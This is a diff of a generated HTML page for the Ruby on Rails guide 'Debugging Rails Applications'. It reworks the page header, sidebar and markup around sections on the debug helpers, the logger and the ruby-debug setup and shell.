- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Debugging Rails Applications</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_view_helpers_for_debugging">View Helpers for Debugging</a>
- <ul>
-
- <li><a href="#_debug">debug</a></li>
-
- <li><a href="#_to_yaml">to_yaml</a></li>
-
- <li><a href="#_inspect">inspect</a></li>
-
- <li><a href="#_debugging_javascript">Debugging Javascript</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_logger">The Logger</a>
- <ul>
-
- <li><a href="#_what_is_the_logger">What is The Logger?</a></li>
-
- <li><a href="#_log_levels">Log Levels</a></li>
-
- <li><a href="#_sending_messages">Sending Messages</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a>
- <ul>
-
- <li><a href="#_setup">Setup</a></li>
-
- <li><a href="#_the_shell">The Shell</a></li>
-
- <li><a href="#_the_context">The Context</a></li>
-
- <li><a href="#_threads">Threads</a></li>
-
- <li><a href="#_inspecting_variables">Inspecting Variables</a></li>
-
- <li><a href="#_step_by_step">Step by Step</a></li>
-
- <li><a href="#_breakpoints">Breakpoints</a></li>
-
- <li><a href="#_catching_exceptions">Catching Exceptions</a></li>
-
- <li><a href="#_resuming_execution">Resuming Execution</a></li>
-
- <li><a href="#_editing">Editing</a></li>
-
- <li><a href="#_quitting">Quitting</a></li>
-
- <li><a href="#_settings">Settings</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_debugging_memory_leaks">Debugging Memory Leaks</a>
- <ul>
-
- <li><a href="#_bleakhouse">BleakHouse</a></li>
-
- <li><a href="#_valgrind">Valgrind</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_plugins_for_debugging">Plugins for Debugging</a>
- </li>
- <li>
- <a href="#_references">References</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Debugging Rails Applications</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_view_helpers_for_debugging">View Helpers for Debugging</a>
+ <ul>
+
+ <li><a href="#_debug">debug</a></li>
+
+ <li><a href="#_to_yaml">to_yaml</a></li>
+
+ <li><a href="#_inspect">inspect</a></li>
+
+ <li><a href="#_debugging_javascript">Debugging Javascript</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_the_logger">The Logger</a>
+ <ul>
+
+ <li><a href="#_what_is_the_logger">What is The Logger?</a></li>
+
+ <li><a href="#_log_levels">Log Levels</a></li>
+
+ <li><a href="#_sending_messages">Sending Messages</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a>
+ <ul>
+
+ <li><a href="#_setup">Setup</a></li>
+
+ <li><a href="#_the_shell">The Shell</a></li>
+
+ <li><a href="#_the_context">The Context</a></li>
+
+ <li><a href="#_threads">Threads</a></li>
+
+ <li><a href="#_inspecting_variables">Inspecting Variables</a></li>
+
+ <li><a href="#_step_by_step">Step by Step</a></li>
+
+ <li><a href="#_breakpoints">Breakpoints</a></li>
+
+ <li><a href="#_catching_exceptions">Catching Exceptions</a></li>
+
+ <li><a href="#_resuming_execution">Resuming Execution</a></li>
+
+ <li><a href="#_editing">Editing</a></li>
+
+ <li><a href="#_quitting">Quitting</a></li>
+
+ <li><a href="#_settings">Settings</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_debugging_memory_leaks">Debugging Memory Leaks</a>
+ <ul>
+
+ <li><a href="#_bleakhouse">BleakHouse</a></li>
+
+ <li><a href="#_valgrind">Valgrind</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_plugins_for_debugging">Plugins for Debugging</a>
+ </li>
+ <li>
+ <a href="#_references">References</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Debugging Rails Applications</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Understand the purpose of debugging
@@ -289,7 +121,7 @@ Understand the purpose of debugging
</li>
<li>
<p>
-Track down problems and issues in your application that your tests aren't identifying
+Track down problems and issues in your application that your tests aren&#8217;t identifying
</p>
</li>
<li>
@@ -307,8 +139,8 @@ Analyze the stack trace
</div>
<h2 id="_view_helpers_for_debugging">1. View Helpers for Debugging</h2>
<div class="sectionbody">
-<div class="para"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>debug</tt>
@@ -326,7 +158,7 @@ Analyze the stack trace
</li>
</ul></div>
<h3 id="_debug">1.1. debug</h3>
-<div class="para"><p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
+<div class="paragraph"><p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -336,9 +168,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
&lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll see something like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You&#8217;ll see something like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>--- !ruby/object:Post
@@ -355,7 +186,7 @@ attributes_cache: {}
Title: Rails debugging guide</tt></pre>
</div></div>
<h3 id="_to_yaml">1.2. to_yaml</h3>
-<div class="para"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
+<div class="paragraph"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -365,10 +196,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
&lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
-<div class="para"><p>As a result of this, you will have something like this in your view:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
+<div class="paragraph"><p>As a result of this, you will have something like this in your view:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>--- !ruby/object:Post
@@ -384,7 +214,7 @@ attributes_cache: {}
Title: Rails debugging guide</tt></pre>
</div></div>
<h3 id="_inspect">1.3. inspect</h3>
-<div class="para"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
+<div class="paragraph"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -394,9 +224,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
&lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Will be rendered as follows:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Will be rendered as follows:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>[1, 2, 3, 4, 5]
@@ -404,23 +233,21 @@ http://www.gnu.org/software/src-highlite -->
Title: Rails debugging guide</tt></pre>
</div></div>
<h3 id="_debugging_javascript">1.4. Debugging Javascript</h3>
-<div class="para"><p>Rails has built-in support to debug RJS, to active it, set <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).</p></div>
-<div class="para"><p>To enable it, add the following in the <tt>Rails::Initializer do |config|</tt> block inside <tt>environment.rb</tt>:</p></div>
+<div class="paragraph"><p>Rails has built-in support to debug RJS, to active it, set <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).</p></div>
+<div class="paragraph"><p>To enable it, add the following in the <tt>Rails::Initializer do |config|</tt> block inside <tt>environment.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_view<span style="color: #990000">[:</span>debug_rjs<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or, at any time, setting <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>:</p></div>
+<pre><tt>config<span style="color: #990000">.</span>action_view<span style="color: #990000">[:</span>debug_rjs<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Or, at any time, setting <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>debug_rjs <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
+<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>debug_rjs <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -432,27 +259,25 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_the_logger">2. The Logger</h2>
<div class="sectionbody">
-<div class="para"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
+<div class="paragraph"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
<h3 id="_what_is_the_logger">2.1. What is The Logger?</h3>
-<div class="para"><p>Rails makes use of Ruby's standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
-<div class="para"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
+<div class="paragraph"><p>Rails makes use of Ruby&#8217;s standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
+<div class="paragraph"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -462,17 +287,16 @@ config<span style="color: #990000">.</span>logger <span style="color: #990000">=
</tr></table>
</div>
<h3 id="_log_levels">2.2. Log Levels</h3>
-<div class="para"><p>When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
-<div class="para"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
+<div class="paragraph"><p>When something is logged it&#8217;s printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
+<div class="paragraph"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>config<span style="color: #990000">.</span>log_level <span style="color: #990000">=</span> Logger<span style="color: #990000">::</span>WARN <span style="font-style: italic"><span style="color: #9A1900"># In any environment initializer, or</span></span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.</p></div>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This is useful when you want to log under development or staging, but you don&#8217;t want to flood your production log with unnecessary information.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -482,7 +306,7 @@ ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #99000
</tr></table>
</div>
<h3 id="_sending_messages">2.3. Sending Messages</h3>
-<div class="para"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
+<div class="paragraph"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -490,9 +314,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Person attributes hash: #{@person.attributes.inspect}"</span>
logger<span style="color: #990000">.</span>info <span style="color: #FF0000">"Processing the request..."</span>
-logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span>
-</tt></pre></div></div>
-<div class="para"><p>Here's an example of a method instrumented with extra logging:</p></div>
+logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span></tt></pre></div></div>
+<div class="paragraph"><p>Here&#8217;s an example of a method instrumented with extra logging:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -516,9 +339,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Here's an example of the log generated by this method:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Here&#8217;s an example of the log generated by this method:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
@@ -537,24 +359,23 @@ The post was saved and now is the user is going to be redirected...
Redirected to #&lt;Post:0x20af760&gt;
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]</tt></pre>
</div></div>
-<div class="para"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
+<div class="paragraph"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
</div>
<h2 id="_debugging_with_ruby_debug">3. Debugging with ruby-debug</h2>
<div class="sectionbody">
-<div class="para"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
-<div class="para"><p>The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
+<div class="paragraph"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
+<div class="paragraph"><p>The debugger can also help you if you want to learn about the Rails source code but don&#8217;t know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
<h3 id="_setup">3.1. Setup</h3>
-<div class="para"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
+<div class="paragraph"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ sudo gem install ruby-debug
-</tt></pre></div></div>
-<div class="para"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project's page on rubyforge</a>.</p></div>
-<div class="para"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
-<div class="para"><p>Here's an example:</p></div>
+<pre><tt>$ sudo gem install ruby-debug</tt></pre></div></div>
+<div class="paragraph"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project&#8217;s page on rubyforge</a>.</p></div>
+<div class="paragraph"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
+<div class="paragraph"><p>Here&#8217;s an example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -565,14 +386,13 @@ http://www.gnu.org/software/src-highlite -->
debugger
<span style="color: #009900">@person</span> <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you see the message in the console or logs:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you see the message in the console or logs:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>***** Debugger requested, but was not available: Start server with --debugger to enable *****</tt></pre>
</div></div>
-<div class="para"><p>Make sure you have started your web server with the option <tt>&#8212;debugger</tt>:</p></div>
+<div class="paragraph"><p>Make sure you have started your web server with the option <tt>--debugger</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -582,27 +402,26 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #990000">=&gt;</span> Booting Mongrel <span style="color: #990000">(</span>use <span style="color: #FF0000">'script/server webrick'</span> to force WEBrick<span style="color: #990000">)</span>
<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application starting on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
<span style="color: #990000">=&gt;</span> Debugger enabled
-<span style="color: #990000">...</span>
-</tt></pre></div></div>
+<span style="color: #990000">...</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">In development mode, you can dynamically <tt>require 'ruby-debug'</tt> instead of restarting the server, if it was started without <tt>&#8212;debugger</tt>.</td>
+<td class="content">In development mode, you can dynamically &#8216;require 'ruby-debug\&#8217;<tt> instead of restarting the server, if it was started without `--debugger</tt>.</td>
</tr></table>
</div>
-<div class="para"><p>In order to use Rails debugging you'll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
+<div class="paragraph"><p>In order to use Rails debugging you&#8217;ll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
<h3 id="_the_shell">3.2. The Shell</h3>
-<div class="para"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
-<div class="para"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
-<div class="para"><p>For example:</p></div>
+<div class="paragraph"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug&#8217;s prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
+<div class="paragraph"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
+<div class="paragraph"><p>For example:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>@posts = Post.find(:all)
(rdb:7)</tt></pre>
</div></div>
-<div class="para"><p>Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help&#8230; so type: <tt>help</tt> (You didn't see that coming, right?)</p></div>
+<div class="paragraph"><p>Now it&#8217;s time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: <tt>help</tt> (You didn&#8217;t see that coming, right?)</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:7) help
@@ -621,11 +440,11 @@ continue edit frame method putl set tmate where</tt></pre>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em><tt>help var</tt></em></td>
+<td class="content">To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em>+help var+</em></td>
</tr></table>
</div>
-<div class="para"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
-<div class="para"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>&#8658;</tt>.</p></div>
+<div class="paragraph"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
+<div class="paragraph"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>=&gt;</tt>.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:7) list
@@ -641,7 +460,7 @@ continue edit frame method putl set tmate where</tt></pre>
9 format.html # index.html.erb
